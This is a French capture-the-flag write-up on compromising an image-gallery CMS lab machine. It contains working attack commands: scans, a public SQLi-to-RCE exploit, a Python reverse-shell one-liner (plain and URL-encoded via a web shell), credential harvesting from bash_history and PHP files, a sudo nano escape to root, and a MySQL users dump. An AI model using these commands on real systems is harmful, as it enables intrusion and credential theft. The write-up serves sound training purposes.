Try to exploit our image gallery system
Commande :
nmap -sV -sC -p- 10.10.238.191
Nous allons utiliser dirsearch sur les ports 80 et 8080 afin de déterminer quels sont les répertoires présents.
Commande :
dirsearch -u 10.10.238.191
Commande :
dirsearch -u 10.10.238.191:8080
La page /login.php nous amène sur une authentification dont on ne connait pas les identifiants.
En revanche, nous pouvons voir le CMS qui est utilisé. La landing page nous donne aussi la version du CMS. v1.0
Une recherche google nous donne un exploit disponible pour ce CMS. Il s’agit d’un RCE suite à un bypass de l’authentification via une slqi. https://www.exploit-db.com/exploits/50214
Il faut télécharger l’exploit et/ou l’enregistrer au format .py. Ensuite, il faut l’exécuter avec la commande suivante :
python3.9 50214.py
Sur TARGET= il faut mettre l’adresse du CMS. http://10.10.238.191:8080/
Une fois l’exploit exécuter, il faut utiliser l’adresse fournit par l’exploit. À partir de là, il est possible de passer des commandes systèmes ainsi qu’un onliner reverse shell.
Python est installé sur le système. On peut donc l’utiliser pour récupérer un reverse shell.
Commande :
python3.6 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« 10.11.38.124 »,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’
Commande avec l’URL :
http://10.10.238.191/gallery/uploads/1644783960_TagosxtvnjlxilqprhyLetta.php?cmd=python3.6%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.11.38.124%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
Après avoir upgrade le shell, il faut passer sur l’utilisateur Mike. Pour cela, avec l’aide de linpeas.sh, on trouve dans /var/backups/ mike_home_backup/ les identifiants de Mike.
Commande :
cat .bash_history
Commande :
su mike
password : celui trouvé dans bash_history
Une fois passé sur le compte de Mike, il faut faire sudo -l . Cela permet de voir quels sont les privilèges de l’utilisateur.
Mike a des droits sudo pour exécuter le script rootkit.sh. Il est fort possible que l’on puisse par ce biais-là, de passer root. Avant de l’exécuter, il faut voir ce qu’il y a dans le script.
Commande :
cat /opt/rootkit.sh
Il est possible de faire plusieurs choses avec ce script. Vérifier la version, faire un update mais aussi lire le rapport avec l’option read qui ouvrira le fichier report.txt avec nano.
Vu que la commande sera lancée avec des droits sudo, il sera possible une fois le fichier ouvert avec nano, de sortir de nano avec un shell en root. Tout ceci est montré sur le site bien connu https://gtfobins.github.io/gtfobins/nano/#sudo
Commande :
sudo /bin/bash /opt/rootkit.sh
Il est possible d’avoir cette erreur : Error opening terminal: unknown.
Pour ne plus avoir cette erreur il faut faire cette commande :
export TERM=screen
Une fois le rapport ouvert avec nano, il faut faire ces commandes :
crtl + r puis ctrl x
Cela permet d’exécuter des commandes systèmes. Ensuite, il faut mettre ses deux dernières commandes pour passer root.
reset ; sh 1>&0 2>&0
Commande :
find / -maxdepth 8 -name *.php -type f 2>/dev/null | xargs grep -C 20 -i pass
Pour en savoir plus sur la commande find vous pouvez regarder cet article.
Une fois les identifiants récupérer, il faut se connecter à au server MySQL
Commande :
mysql -u gallery_user -p
Ensuite, il faut faire ces commande :
show databases;
use gallery_db
show tables;
select * from users;
That’s all folks
Merci d’avoir pris la peine de venir sur le site de lire ce Write Up
J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.
N’hésitez pas à laisse un commentaire ou à partager cet article.